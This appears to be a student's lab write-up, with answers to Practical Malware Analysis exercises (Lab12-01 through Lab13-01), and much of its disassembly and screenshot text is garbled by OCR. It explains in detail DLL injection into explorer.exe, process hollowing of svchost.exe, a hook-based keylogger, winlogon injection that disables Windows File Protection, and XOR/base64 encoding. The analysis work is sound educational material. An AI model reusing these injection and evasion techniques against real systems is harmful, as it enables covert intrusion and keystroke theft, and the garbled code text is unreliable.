It infects C:\\Windows\\System32\\cisvc.exe; an indexing service by inserting shellcodes

into the program. The infected cisvc.exe will load C:\\Windows\\System32\\inet_epar.dll as
shown in the figure below.

TS o Srees BTN Vies Sraes BISEErnr

Comparing the infected executable with the original one, we could see some additional
functions added to it. On top of that we can observe that the entry point has been changed.

SaTCTRI PEIVE - e R 2 e
= e — —— - T O &8 = [[Howveen _-E 51 Srings windos [ Pemusacnde 1 (2 Peeucacrdie-& Ol e -t £ [ Stchares
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F:{gure 8. Additional Functions
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Figure 9. Changes in Entry Point

iv. Which Windows system file does the malware infect?

It infects C:\\Windows\\System32\\cisvc.exe.

& Process Explorer - Sysinternals: www.sysinternals.com [USER-FCC21CB345\M dministrator]

File Oplions VYiew Process Find DLL Users Help
id @A =EEO8 A &P
Process CPU  Private Bpte:  WorkingSet FID Desciiplion Compary Name
B . vl exe E.9BE K JE0E K 6B0 'Windows NT Logon Applcat... Mecrosoft Conporation
[= zarvicezaxa J4IEFE 5443K 704 Services and Controller app  Microsoft Corporation
= ¥macthip.axa BBE K. 2543 K 876 VMware Activation Helpar Widware, Inc.
Cormmand Line 2984 K. 4700k 888 Genenc Host Process for 'Wi.. Microsoft Coporation
PE:MNDWE\vamMma&m 22%L 449K 1548 WM Microsoft Corparation
1.6BB K 413K 968 Generc Host Process for Wi Microsoft Comoration
G HOOWS\sstemiZTiservces &=l 12408K  20576K 1052 Generic Host Procsss for Wi.. Micrasolt Comaration
Evert Log [Eventlog] 1.204 K. 3456 K 1100 Generic Host Process for Wi . Microsoft Comporation
Plhag and Play [PlugFlay] 1.756 K 4852 K 1152 Genenic Host Process lor Wi, Microsoft Corporalion
SpOcky. &g 3700K 5354 K 1452 Spooler SubSysiem App Macrosoft Comporation
(B VMwareSenvice. exe 1.708 K 4208 K 620 WiMware Tools Serice WMhwiate, Inc.,
Talaese 1.112K 3A7ZE 1680 Application Laver Gateway 5. Microsoft Coporalion
B [FJcisve.exe 278 230K 1400k 900 Content Index servios Microsoft Conporalion
Dnidaemwme 1.120K ZEBEK 8324 Indexing Service flter daemon  Microsoft Corporalion
= teasz ene ELTh e 1064K 716 LSA Shell [Export Version]  Microsoft Corporalion
= i explorer.exe 19628 K 25264 K 1756 Windows Explarsr Microsoft Comporatice:
WidwaraT ray ane BT2VK 33EE 1992 WMware Toolz tray applicaton Yidware, Inc.
Widwarellzar axe TER2E 1MAIGE 2000 WMware Toolz Serice Whware, Inc.
clfmon. axe B K IATEE 144 CTF Loader Microsoft Conporation
mEnsgs. exe 1.3% K 1,20 168 Windows Messanger Microsoft Conporation
2 procenp.ene 94 10,160 K 12872E 548 Spenbesnals Process Explorer  Sysintemals - wew sysinter...
2y Pracmon.exe 10632 K 14000 K. 1172 Process Monitor Symirtemals - wew sysinter, .
Dregoiption Compary Mame Path =
G0 Client DLL Microscft Corporation CAWINDOWE spstemd2\gdi32. dI
windoves 4P IMM32 AP Cliers DLL  Microsoft Conporation C:AWINDOWS 32 imm 22 dl

Windowes NT BASE &P Client DLL  Microsoft Conporation
e ale ks
msacmFd.dl Microsoft ACH Audo Fiker Micrazcft Comporation
mavcit.dil ‘windawes NT CRT DLL Microscft Corporation
il NT Layer DLL Microscft Corporation
rémarta.dl windowes NT MARTA provider Microscft Comporation
ohe32.dil Microzoft OLE for Windowes Microeoft Corporation

CAWINDOWS 3 = 2
CNWIM DWW S aptamad2h kemel 32 di
CWWINDOW S \systam32hlocale nl:
CAWINDOWS spstem32imsacm32 di
CAWINDOWS spstendymesver. i
CAWINDO WS spstom32snidl di
CAWINDOWS spstem32nimarta dl
CoAWINDO WS sypstemI2iole 22 dI
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Practical No. 6

a. Analyze the malware found in the file Lab12-01.exe and Lab12-01.dIl.
Make sure that these files are in the same directory when performing the
analysis.

i. What happens when you run the malware executable?

A Message box with a incremental number in its title pops up every now and then...

i Practical Malware Analysis 0 H :
" | } Press OF to reboot

|

ii. What process is being injected?

In the imports table, CreateRemoteThread is used by the exe which highly suggests that the
malware might be injecting DLL into processes.

IDA View-A x| ‘s’ Strings window B  d Hex Wiew-1 (%
Address Ordinal Mame Library N
00403000 CloseHandle KERMEL32
00405004 OpenProcess KERMEL32
CreateRemoteThread KERMNEL32
¥Z| 0040500C GetModuleHandled KERMEL32
00405010 WriteProcessMermory KERMEL32
00405014 YirtualAllocEx KERMEL32
00405078 Istrcatd KERMEL32
0040501C GetCurrentDirectoryf KERMEL32
00403020 GetProcAddress KERMEL32
00405024 LoadLibrary& KERMEL32
00405028 GetCommandLined KERMEL32
@ 000502C GetVersion KERMEL32
00405030 ExitProcess KERMEL32
00405034 TerminateProcess KERMEL32
00405032 GetCurrentProcess KERMEL32
0040503C UnhandledExceptionFilter KERMEL32

Fi_gure 2. CreateRemoteThread in imports
“explorer.exe” is found in the list of string. X-ref the string and we will come to the

following subroutine. Seems like explorer.exe is being targeted to be injected with the
malicious dll.
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text:0LE1 836 lea edi, [ebp+var_FE]

-text:B0LE1 830 rep stosd

-text:00L8183E stosw

-text:00401 0848 mow eax, [ebp+dwProcessid]

-text: 00401043 push eax ; dwProcessld
-text:O00LO1 04, push a ; bInheritHandle
-text: 084010846 push &1 @h ; dwbDesiredAccess
-text: 8401848 call dsOpenProcess

-text:BbLb1 851 o [ebp+hDbject], eax

-text:8BLE1 85, cmp [ebp+hObject], @

-text: 084010858 jz short loc_4B1895

-text:08401805A lea ecx, [ebp+wvar_118]

-text: 084010460 push ecx

-text: 00401061 push L

-text:08401063 lea edx, [ebp+war_18C]

-text: 004010469 push edx

-text:0048186R mow eax, [ebp+h0Object]

-text:8BLE1 66D push eax

-text:0B401B6E call dword_LBE7 1L

-text:-00401074 test eax, eax

-text:00401076 iz short loc_461095

-text: 00401078 push 184h

-text: 0840810870 lea ecx, [ebp+uvar_108]
-text:0B4810883 push ecx

-text:00481884 now edx, [ebp+var_10C]

-text: 004010680 push edx

-text:0040108B mow eax, [ebp+hObject]
-text:0040108E push eax

-text:0040108F call dword_408870C

-text:08401095

~text:00401095 loc_ 4H018095: ; CODE XREF: sub_%01000+58T;]
~text:08401095 ; sub_he1008+76Tj
text:oeaue109% push ach : size_t
-text:0Baue1 0897 push offset aExplorer_exe "explorer.exe™
-text:00401089C lea ecx, [ebp+var_108]
-text:084010A2 push ecx ; char =
-text:oBya1ea3 call _ _strnicmp

-text:00401008 add esp, OCh

text:oBup1 BAB test eax, 2ax

~text:ophe1 gaD jnz short loc_h810B6

~text:ophe10AF Mo eax, 1

~text:00401 084 jmp short loc_461802

L or st At 1T S T R e R e e el A e e B e i e I e e L T Rl Y

Figure 3. explorer.exe

We can confirm our suspicion using process explorer as shown below.

Figuré 4. Explorer.exe injected with dll

iii. How can you make the malware stop the pop-ups?

Kill explorer.exe and re-run it again

& =08 & X AP _ : | L3
Frocess CPU  Private Btes  ‘working Set  FID Descriplion Company Name
=l [ smss.exe 168 K IE 592 Windows NT Session Mana..  Microsoft Corporation
Fesrsexs 1.EBEE JEB4E B40 Client Server Runtime Process Microsoft Corporation
= _' winlogon, exe 7reaK 5.268FK 664 'Windows MT Logon Appicat.,. Miciosoft Corporation
# [ services.exe 1E20K 3248k 708 Sesvices and Controller spp Microsoft Corporation
[ lsass.cxe 32K 100K 720 LS4 Shel [Expaort Yersion] Microzoft Corporation
A Wiware T iay exne BY2E 334K 2044 Wware Tooks tray applcation Yidware, Inc.
il Whwarellver exe 2,004 K. BOTEK. 132 VMware Tooks Senice Widware, Inc.
cifmon. exe GEEN S 3.204K 168 CTF Loadss Miciosoft Corporation
SR METISOE EXE 1.344 K 2MeE 196 Windows Messenger Microzoft Corporation
= ¥ procesp.exe 8.33 16.056 £, 15,404 K 1704 Sysintemals Process Explorer  Susinternals - v sysinter.
iy explorer ese 2.22 17.276 K 5004 304 Windows Exploner Miciozoft Corporation
2 Procmaon.exe 0.56 12,004 K 14100K. 616 Process Monitor SusIMErnaks - v SpSinter. .,
Hame Descnplion Company Mame Path =
index dat C:\Docurments and S etlings'\AdminishistosCookies\index. dat
Lab12-0r1.di CA\Documents and S etings\Administator\Desktop\BinaryC. ..

94



Malware Analysis

iv. How does this malware operate?
Lab12-01.exe
The malware begins by using psapi.dll’s EnumProcesses to loop through all running

processes. Also note that it attempts to form the absolute path for the malicious dll. This will
be used later to inject the dll in remote processes.

oK £ax, eax
mou [ebp+var_118], eax

mou [ebp+var_18BC], eax

mou [ebp+var_168], eax

mou [ebp+var_1178], 4ih

mov ecx, 18h

Hor eax, eax

lea edi, [ebp+var 1174]

rep stosd

mou [ebp+var_ 1187, 8

push offset ProcHame ; “EnumProcesshodules®

push offset LibFileHame ; “psapi.dll”™
call ds:LoadLibraryh

push eax 5 hihodule

call ds:GetProcAddress

mou dword 488714, eax

push offset aGetmodulebasen ; “GethloduleBaseHamed*

push offset LibFileHame ; "psapi.dll”
call ds:LoadLibraryn

push eax 5 hhodule

call ds:GetProcAddress

mouv dword_406870C, eax

push offset aEnumprocesses ; "EnumProcesses™

push offset LibFileHame ; "psapi.dll”
call ds:LoadLibraryf

push eax ; hHodule

call ds:GetProcAddress

mov dword_ 4087108, eax

1ea ecx, [ebp+Buffer]

push eCX ; 1pBuffer

push 184h ; nBufferLength
call ds:GetCurrentDirectoryn

push offset String2 ; "W

1lea edx, [ebp+Buffer]

push edx ; 1pString?

call ds:1strcatha
push offset alabi1281_dl1 ; “"Labi12-81.d11"

1ea eax, [ebp+Buffer]

push eax ; 1pString?
call ds:1strcathi

lea ecx, [ebp+uvar_1128]

push eCH ; _DUWORD
push 18868h ; _DWORD
1ea edx, [ebp+duProcessid]
push edx ; _DUWORD
call dword_ 4088718

test eax, eax

jnz short loc_ 4811D@
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Figure 5. EnumPorcesses

While looping through the processes only “explorer.exe” will be injected. The following
figure shows the filtering taking place.

FIEE
mou ecx, [ebp+var_112C]
mou edx, [ebp+ecxxy+duProcessid]
push edx ; dwProcessId
call Explorer_exe
add esp, 4
mou [ebp+var_ 118], eax
Lol s =]

loc_4@1242:

cmp [ebp+var_118], 1

jnz short loc 4B81287

L 4

Lol e =]
mou eax, [ebp+var_112C]
mow ecx, [ebp+eax=h+dwProcessid]
push ecx ; dwProcesslId
push 8 ; bInheritHandle
push 43Ah ; duDesiredficcess
call ds:-0penProcess
mou [ebp+hProcess], eax
cmp [ebp+hProcess], BFFFFFFFFh
jnz short loc 48127D

Figure 6. Check for explorer.exe

Once the malware located the “explorer.exe” process, it will ask the remote process
(explorer.exe) to allocate a heap space. The space will contains the malicious dII’s absolute
path as mentioned earlier. It will then get the LoadLibraryA address of explorer.exe and
triggers the function via CreateRemoteThread. Explorer.exe will then invoke LoadLibraryA
with the input as the malicious dII’s absolute path which is already in its heap memory and
that is how explorer.exe got injected. =)

Lab12-01.dll
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The DIlIMain first creates a thread @ subroutine 0x1001030.

ol =

; Attributes: bp-based Frame
; BOOL _ stdcall D11Maim{HINSTANCE hinstDLL, DWORD fdwReason, LPUDID lpuReserved)
_D11MainE12 proc near

var_8= dword ptr -8
Threadld= dword ptr -4
hinstDLL= dword ptr 8
fdwReason= dword ptyr BCh
1puReserved= dword ptr 18h

push ebp
mov ebp, esp
sub esp, 8
cnp [ebp+FfdwReason], 1
jnz short loc_188018C6
Y
e 5
lea eax, [ebp+Threadld]
push eax ; 1pThreadld
push a ; dwCreationFlags
push a » 1pParameter
push offset sub_18881838 ; lpStartAddress
push a ; dwStackSize
push ] ; 1pThreadattributes
call ds:CreateThread
moy [ebp+uar_ 8], eax

g

loc_108818C6:

mow eax, 1
now esp, ebp
pop ebp

retn ACh

_D11Main@12 endp

Figure 8. Create Thread
Inside this subroutine, we will find a infinite loop popping a message box every 1 minute.

The title of the message box is “Practical Malware Analysis %d” where %d is the value of
the loop counter.

b. Analyze the malware found in the file Lab12-02.exe.
b. What is the purpose of this program?

Based on dynamic analysis results using procmon and process explorer, we can conclude that
this is a keylogger that performs process hollowing on svchost.exe.
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Figure 1. Write file to practicalmalwareanalysis.log

practicalmabwareanalysis. log - Notepad
Fila Edt Format Yiew Help

[window: Process Monitor Filter]

swchostl2dd

[window: Process Monitor - Sysinternals: www.sysinternals. com]

[window: Aun]

notepadd [ENTER

[window: wurtitled - Motepad]

deadbest 0 [ENTER] jmpr=p0 [ENTER]heTl 0w rEACKSPACE worBACKSPACE BACKSPACE BACKSPACE BACKSPACE BACKSPACE world

Figure 2. Keystrokes in log file
ii. How does the launcher program hide execution?

The subroutine @0x004010EA is highly suspicious. It is trying to create a process in
suspended state, calls UnmapViewOfSection to unmap the original code and tries to write
process memory in it. Finally it resumes the process. This is a recipe for process hollowing
technique in which the running process will look like svchost.exe (in this case) but it is
actually running something else instead.

= T
passh ErT : size_x
P L ; dmt
lea eax. [ebprStartupinfol
pusn eax : woid =
call e '
add esp. BCh
s A am : size_x
s a : imE
lea ecx. [ebprFrocessinformation]
P rox : woid
call nemse .
Aol esp, BGh
lea edx. [ebpeFrocessinformation]
R edx : lpProcessinformation
Lea eax, [ehpeStartmplnfal
s eax D lpStartuplnfo
s L] P LlpCurrentDirectory
s a : LpEnuiconmen
prush CREATE_SUSFEHDED 3 u-creatlunrlags
s & P BinheritHandle
P @ 5 1p1hreaﬂ-ttr1bute5
s L] i lpFrocessAttributes
b @ LpGomnandl ine
o ecx. [ebprlpApplicationHame]
s ecx : LlpApplicationtHame
call ds z Creat eFrocessn
rest eax. eax
iz loc WBIE1E
™1
k]
Ll o 21
push N : FlProtect
Pk 1 naon : FlAallocationType
PR ZCEn 1 AwsEize
push @ : lpAddress
call A Wi Eual AL Lo
o [eDpelpContext], eax
o edx, [ebpsilpContext]
s duord pre [eax],. 1BEE7N
Ao eax, [eDpripContext]
P o : IpContext
s ecx, [eopaPrncgsslnFnrnatinn nTnreaa]
pushR ecx : mTnreaa
call A% =Gk The- e aaCont et
test eax, eax
iz Loc | henEan
=
L ]
il s 1
o [ebp=Buffer], @
e [ebp=lpBascAddress], B
o [ebpevar_6&8], @
push @ 5 ApHumberifBytesiead
sk B : nSize
lea edx, [ebp+BufFer]
Pt i F lpBEuFFee
o eax, [ebp+LlpContext]
o ecK, [eawsDain]
add eox, ®
push eox 5 lpBasenddress
C edx, [ebpsProcessinfarmation.hProcess]
pash e : hProcess
call 45z ReadProce ssHeme ey
s offset ProcHame ; “HitlnmapliesdfSection®
push offset HModuleMame ; “mEdll. dil”
call sz EetModul e Hand e
pash e : hModule
call ds : BetProcAddress
e [ebp=var_&&], eax
crap [ebpeuar_&64], @
iz short loc_ Sl 1FE
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Figure 3. Create Suspended process, unmap memory
i |

| [ et =T
oo _4@28%: + lpMumberdfBytestdritten
| |push a
| [push L] ; miize
| | edx, [ebp+uar 8]
| |add ed, A4h
| [push edx i lpBuffer
| | eax, [ebpslpContext]
| [mie eck, [eax+OANh]
| add ecx, #
| |push BCE : lpBasenddress
!mu edx, [ebp+Processinformation.hProcess]
| |push edie : hProcess
||ea11 ds:UritefrocessHenory
| [ vax, [ebpruar #]
| [P eck, [ebp+lpBasenddress]
| |asa ecx, [eax+ZBh]
| [ edx, [ebp+lpContext]
| [mime [edxsBI@h], ecs
| o eax, [ebp+lpContext]
i push Bax : lpContext
| e eck, [ebp+Processinformation.hThread]
E push = ; WThread

call ds:ietThreadContext

now edx, [ebp+Processinformation.hThread]
push edx : hThread

call ds:iResumeThread

inp short loc_ %1360

Figure 4. WriteProcessMemory, ResumeThread
iii. Where is the malicious payload stored?

In the resource, we can see a suspicious looking payload. IDA Pro further confirmed that this
is the payload that will be extracted out.
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Figure 5. Resource with lots of As in it
iv. How is the malicious payload protected?

By analyzing the find resource function @0x0040132C we will come across the following
codes that suggests to us that the payload is XOR by “A”.
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Stext:0040141B loc_L@1W1E: CODE XREF: findResource+ETj

text:0040141B push ‘A’ ; SO0R Key
-text:oese141D mow edx, [ebp+duwiize]
-text:00401420 push edx

text: 00401421 mou eax, [ebp+var 8]
-text:oo401424 push eax

-text:BO4O1425 call X0R

-text:ao40142A add esp, OCh

Figure 7. XOR by A

¢. Analyze the malware extracted during the analysis of Lab 12-2, or use the file
Lab12-03.exe

i. What is the purpose of this malicious payload?

The use of SetWindowsHookExA with WH_KEYBOARD LL as the id which suggests that
this is a keylogger.

5 Yy
i =]
loc_4810835: ; size t
push 486h
push 1 ; int
push offset byte_ 485350 ; void =
call _memset
add esp, BCh
push a ; dwThreadId
push a ; lpHoduleHame
call ds:GetHModuleHandled
push eax ; hmod
push offset fn ; 1pfn
push WH_KEYBOARD LL ; idHook
call ds:SetWindowsHookExA
mov [ebp+hhk], eax

‘9

il e =

loc_481064: ; wbsgFilterHMax

push a

push a ; wMsgFilterHMin

push 8 ; htnd

push a ; lphsg

call ds:GetHessagen

test eax, eax

jz short loc_461878

A J L J
P | (=
jmp short loc_481864

loc_481878:
mov ecx, [ebp+hhk]
push ecx ; hhk
call ds:UnhookWindowsHookEx
mov esp, ebp
pop ebp
retn
_main endp

Figure 1. SetWindowsHookExA
ii. How does the malicious payload inject itself?

It uses Hook injection. Keystrokes can be captured by registering high- or low-level hooks
using the WH_KEYBOARD or WH_KEYBOARD LL hook procedure types, respectively.
For WH_KEYBOARD LL procedures, the events are sent directly to the process that
installed the hook, so the hook will be running in the context of the process that created it.
The malware can intercept keystrokes and log them to a file as seen in the figure below.

100



Malware Analysis
d. Analyze the malware found in the file Labl2-04.exe.

i. What does the code at 0x401000 accomplish?

The subroutine check if the process with the given process id is Winlogon.exe. If it is, it
returns 1 else it returns 0.

SLosD

LT vdx, [ebp+duProcessid]

push edi i duProcessid
push L} : binheritHandle
push b dh ; dubesirediccess
call g5 ;Dpenfrocess

T [ebpshibject], vax

cnp [ebpshobject], B

iz short loc &K B2

eax, [ebprvar 12d]

rax ; _DWORD
N : _DWIRD
BCR, [ebprear_11C]
vex . _DWIRD
edx, [ebpehibject]
edx i _PWORD
duord_ L3120
BaK, eax
short loc &1 BG2
Y
h |
ol <
push 104h + _DWORD
1ea eax, [ebpenot_real]
push [T ; _DWORD
now ec, [ebpruar_11C]
push pCx ; _DWORD
N edx, [ebp+hibject]
push ek ; _BWORD
call duord LEI128
id
il i 1
loc 481802 :
lea eax, [ebp+uinlogon.exe]
push eax ; Str2
lea ecx, [ebprnot_real]
push eck 3 5tr1
call d5:_stricnp
add #sp, @
test eax, eax
inz short loc &0 gER
T
Fio edx, [ebp+hibject]
push e ; hbbject | |loc_4BUHER:
call ds:Closelandle o eax, [ebp+hdbject]
0w eax, 1 i return 1) [push eax i hdbject
inp short loc_ N6 BE7 call ds :CloseHandle
I ot BaK, eau ; Feturn @
Y
T L —

ii. Which process has code injected?

Winlogon.exe is being targeted for injection. Subroutine @0x00401174 is responsible for
process injection via CreateRemoteThread. If we trace back, we can see that only winlogon’s
pid is being passed to the subroutine.
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mov eax, [ebprvar_1238]

mow ecx, [ebpreax=i+duProcessid]
push ecx ; dwProcesslid
call checkWinlogon

add esp, &

moy [ebpsvar_114], eax

chp [ebpruvar_114], @

iz short Hot_Winlogon

F™E

Hot_Winlogon:

FI™E]
mou edx, [ebprvar_1238]

mou eax, [ebpredx=b+duwProcessid]

Malware Analysis

jmp short loc_&81465) |mou [ebpeiinlogon_PID], eax
jnp short loc_481501
A
W= P
loc_401465: loc_LE14D1:
moy eax, [ebp+var_1238]) |cmp [ebp+Winlogon [PID], ©
add eax, 1 jnz short loc_LB1LEN
moy [ebp+var_ 1238], eax I i
|
L j
loc_BE1LEYN:
maou ecx, [ebp+Winlogon_PI1D]
push BCX ; dwProcessid
call inject
add esp, &4
moy [ebpevar_1238], eax
chp [ebpevar_1238], @
jz loc_4@1593
1
iii. What DLL is loaded using LoadLibraryA?
sfc_os.dll
-} Attributes: np based frame
; int __cdecl inject(DWORD dwProcessld)
imject proc near
war_C= dword ptr -8Ch
hProcess= dword ptr -8
war_4= dword ptr -4
duProcessid= dword ptr 8
push ehp
maoy ebp, esp
sub esp, BCh
moy [ebpeswar_&], @
may [ebp*hProcess], @
mou [ebpe*war_C], @
push offset aSedebugprivile ; “SebebugPrivilege’”
call getbebugPrivilige
test Bax, eax
jz short loc_L@11ad
PR
loc_&E11A1:z : 1pProcHame
push 2
push offset LibFileMame : “sfc_os.dll™
call ds:LoadLibraryn
push Bax : hModule
call ds:GetProciaddress
mou lpStartaddress, eax
mou eax, [ebprduwProcessid]
push Bax : dwProcessid
push ] : bInheritHandle
push AFGFFFh : dwbesiredfccess
call ds:0penProcess
mou [ebp+hProcess], eax
chRp [ebp+hProcess], @
jnz short loc_ 481108
Il
L J
il o [ e e
xor eax, eax xor eax, eax
jmp short loc_ 4811F8| |jnp short loc 4811F8| [loc_4811D8: : 1pThreadld
push 1]
push (] ; duwCreationFlags
push L] : lpParameter
maoy ecx, lpStartaddress
push BCH : lpStartAddress
push (] dwStackSize
push 1] : 1pThreadattributes
maoy edx, [ebp+hProcess]
push edx : hProcess
call ds:CreateRemoteThread
oy eax, 1
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iv. What is the fourth argument passed to the CreateRemoteThread call?
Based on figure 3, the fourth argument is IpStartAddress in which if we were to trace up we

will uncover that IpStartAddress is the address return by
GetProcAddress(LoadLibraryA(“sfc_os.dll”),2).

Loading sfc_os.dll in ida pro we can see the exports that points to ordinal 2 which resovles to
SfcTerminateWatcherThread() as shown in figure 5..

Mame Address COrdinal
(5#] sfc_os_1 T6CHF282 1

| sfc_os 3 76C693E8 3

(5#] sfc_os. 4 76069426 4

[5#] sfc_os5 76069436 5

(#] sfc_os_6 76069482 6

(] sfc_os 7 THCE94EF 7

[#] SfcGetNextProtectedFile 76069918 g

@ SfclsFileProtected TeCe07CE 9

@ SfcWLEventLogoff TeCTICFT 10

@ SfcWLEventLegon TeCT434D 1

5#] SfeDIIEntry(xx) TRCEFO3A [main entry]

Figure 4. sfc_os.dll’s ordinal 2

; Exported entry 2.

; _DMORD _ stdcall SfcTerminateMatcherThreadd)
public _SfcTerminatedatcher Theead@d
_SFcTermlnateNatcher ThreadB0 proc near

i edi, edi
push esi
Hor esi, esi
cnp _SFrsafeBootMode, esi
jz short loc_ T6CAF260
| g :
: L J
=
loc_FoCoF26c:
i _sFChisable, 2
jnz short loc_F6aC6F28%
L L
¥

) =
push esi : Data
push offset aSfocdisable ; “SfcDisable™
push oFfset aRegistryMach_5 ; "\\RegistryviMachinew\soFtware\\Wicrosof ...
call

_SFcuviteReqDuwordEN2 ; SFcHriteRegqDuord(x,x, %)

¥ ¥
loc_76CEF28%: s Walue
push esi
push offset g 1lIsSfclnitialized ; Target
call ds:__imp__ InterlockedExchangeER ; InterlockedExchange{x,x)
test eax, eax
iz loc_FoCOF3Te
L ]
L J
ebx
edi
oFFset aShuttingDownAl ; “Shutting down all SFC thireads...™
156N
offFset abXpspBaseSub 7 : “d:\\xpspiibaset\subsys\smisFeyd11VET . .
1 3 Format
_idprintf
Bsp, 18l

'F_f_gil_r_é__S_: SfcTerminateWatcherTh read()
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v. What malware is dropped by the main executable?

Analyzing the main method, we can see file movement from
“C:\WINDOWS\system32\wupdmgr.exe” to a temp folder
“C:\DOCUME~1\ADMINI~I\LOCALS~1\Temp\\winup.exe”
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Figure 6. Backing up wupdmgr.exe

The following subroutine is then called to extract the resource out from the executable
and using it to replace “C:\WINDOWS\system32\wupdmgr.exe”

sub_&B11FC proc near

hFile= dword ptyr -238h

Dest= byte ptr -234h

war_233= byte ptr -2332h

hResinfo= dword ptr -124h
nHumberdFBytesToWrite= dword ptr -128h
Buffer= byte ptr -11Ch

var_11B= byte ptr -11Bh

htodule= dword ptr -BCh

lpBuffer= dword ptr -8
HumberOfBytesi-itten= dword ptr -4
push ebp

mow ebp, esp

sub esp, 238h

push edi

mow [ebpshHodule], @

mow [ebp+hResinfo], @

mow [ebp+lpBuffer], ©

moy [ebp+hFile], B

mow [ebpsHumberDfBytesiritten], B
mow [ebp+nHunber0FBytesToWrite], @
mow [ebp+Buffer], ©

mow ecx, 43h

®or eax, eax

lea edi, [ebpevar_11B]

rep stosd

stosh

mow [ebp+Dest], @

mow ecx, 43n

Ror eax, eax

lea edi, [ebpevar_ 223]

rep stosd

stosb

push 18Eh ; uSize
lea eax, [ebpsBuffer]

push eax 5 lpBuffer
call ds:GetWindowsDirectoryn
push offset asSystemnd2Wupdmng : “AWsystend2h\wupdngre oexe’™
lea ecx, [ebp+Buffer]

push ecH

push offset Format 5 TRs%sT
push 18Eh ; Count
lea edx, [ebp+Dest]

push edx ; Dest
call ds:_snprintF

add esp, 1hh

push a 5 lpHoduleHane
call ds:GetHoduleHandlen

mow [ebp+hlodule], eax

push offset Tupe s "BIN"
push offset Hame 5 TUH1eT
mow eax, [ebp+hModule]

push eax 5 hModule
call ds :FindResourcen

mow [epp+hResInfo], eax

mow ecx, [ebp+hResInfo]

push ecx ; hResInfo
mow edx, [ebp+hModule]

push edx ; hModule
call ds:LoadResource

mow febp+loBufferl. eax

Figure 7. dropping form resource to system32\\wupdmgr.exe
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Practical No. 7

a. Analyze the malware found in the file Lab13-01.exe.

i. Compare the strings in the malware (from the output of the strings command) with
the information available via dynamic analysis. Based on this comparison, which
elements might be encoded?

In IDA Pro, we can see the following strings which are of not much meaning. However on
execution, if we were to strings the memory using process explorer and sniff the network
traffic, we can observe some new strings such as
http://www.practicalmalwareanalysis.com.

Address Length Type  String

‘s’ .rdata:004050E9 00000033 C {BCDEFGHUKLMNOPORSTUVWI Y Zabcdefghijklmnopgrstuvwyz

.rdata:00405110  D00000OC C 123456789+,

E rdata:00405156 00000006 unic... 0P

[s] .rdata:00405150 00000008 C (@PX\atb

[S] .rdata:00405165 000ODDDT C TOOWP\a

.rdata:00405174 Q0000008 C \bh

[5] .rdata:0040517D 0DOOOODA C pproostb\atb

[5] .rdata:00405198  0O0OOOOOOE unic...  (null)

[s] .rdata:004051A8 0000000T C (null)
0000000F runtirme error

[s]

C
0000000E C TLOSS error\ryn
C SING erraririn

nnnnnnnn ok R

Prntsble shings lound n the scar

SetFilaPointes

Heapilioc

GetiCFinlo Folloer TCP Stream

GeltCP

GelDEMCP sl oL T

Wrbuailioe GET SN | <9 1my 2 S HTTRAA]

HeapRlaillee user-agent : Moziila/Md.0

EtProcAdds: Host: wew. practicalmalwareanalysis. com

Loardituarzh HTTR/1.1 200 OK

SetSidHandle sarvar: INEtsim HTTP Server

FlushFiedulfers Date: Sun, 13 Mar 20016 16:27:13 GMT

HultBpteT oideha Comtent -Typea: text/html

LCMapSaingh connection: close

LM spSaings’ Content-Length: 253

GetSing Typsd,

GeiSnng Tyoshy' dlzﬂl:ld}

ClazeH andle <tirlexinersim default HTML page</Titles

Mazdad.0 </ /head>

Tt A thudy:\x

Coukd reot load soee o I L b ;
Coousd Frok Eﬂd&bﬂbﬂn <p align="certer”>This s the default HTML page for INetSim HTTP server fake mode. </
Coudd root boad dialog bost & <p align="center”:This file 15 an HTML document.</p=
Coidd mot ook dialog bost : t_g'hgd:,l'.t g .
(=i Iz ard SelingshAdminairaton Desklopd - |« /hiem ] >

abcdefghik mnopaystuvssyz

ABCDEFGHLIKLMNOPORS TLWWYZ

v, prachiosimebs e analpis. com

Orimage (5 Mamory

Figure 2. URL found
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ii. Use IDA Pro to look for potential encoding by searching for the string xor. What

type of encoding do you find?

The subroutine @0x00401300 loads a resource in the binary and xor the value with “;*.
push ebp
moy ebp, esp
sub esp, 28h
mow [ebp+var_24], B
moy [ebp+var_108], @
push 1] ; lptoduleHame
call ds:GetHoduleHandlen
moy [ebp+hHodule], eax
cnp [ebp+hModule], @
jnz short loc_&01339
: 4
loc_4@1339: ; 1pType
push 18
push 181 ; 1pHame
nov eax, [ebp+hHodule]
push eax ; hHodule
call ds:FindResource#
nov [ebp+hResinfo], eax
cnp [ebp+hResInfFo], @
ijnz short loc k81357
L ]
ol s =
loc_ue1357:
mou ecx, [ebp+hResIinfo]
push BCH ; hResInfo
mo edx, [ebp+hHodule]
push edx ; hHodule
call ds:SizeofResource
mo [ebp+duBytes], eax
moy eax, [ebp+dwBytes]
push eax ; duBytes
push Lih ; uFlags
call ds:Globalalloc
mou [ebp+uar_4], eax
moy ecx, [ebp+hResInfo]
push ecx ; hReslnfo
mov edx, [ebprhHodule]
push edx ; hHodule
call ds:LoadResource
moy [ebp+hResData], eax
cnp [ebp+hResData], @
jnz short loc_&@81392
Figure 3. FIndResourceA 101
o ]~ e Pl
Ui e O HEAFE = - w b EC &# o = T INRAL BV LRALAL RDN D AL LD
- ———y ) Ea Emoty & Swarren. ossos o Drecy — -
L0 L] Eamtutabin " I~ . e - . flgl(l‘.l-ﬂ‘.lk ar S:HS ‘5:!- II.II'Y.IJ;?:'L"-'." e
- (IEsgibai) BCOBM R E MBS LA YT 43 4 45 LN M M N LTI PEEREE T

Figure 4. Resource String

iii. What is the key used for encoding and what content does it encode?

The key used is “;*. The decoded content is http://www.practicalmalwareanalysis.com.

iv. Use the static tools FindCrypt2, Krypto ANALyzer (KANAL), and the IDA Entropy
Plugin to identify any other encoding mechanisms. What do you find?
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) KANAL v2.92 - X

File | D:\Practical Malware Analysis\Practical Malwai

=8 EASEG4 table :: 000050ES :: 004050ES
i Referenced at 00401013

L. Referenced at 0040102E
Referenced at 0040106E
iw. Referenced at 00401097

BASES4 encoding (used e.g. in e-mails - MIME]

KANAL plugin located 4 addresses that uses
“ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopqrstuvwxyz0123456789+/

2

v. What type of encoding is used for a portion of the network traffic sent by the
malware?

base64 encoding is used to encode the computer name.
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iadx| wlu| wief p21g o =2 wlElmiviw]nic]s|xin|Rlds] S
TR T

iMEn GOEL RSEEER I (RNLONGL
-

£ Lessossassssvasssss
PEEIERISRORREORINE

£

X !
T

e kbed ELPCITTEEL

L

()
&

lospr | Y L TETIRN %0 Labl o], i Tron Laol3-0 L et ]

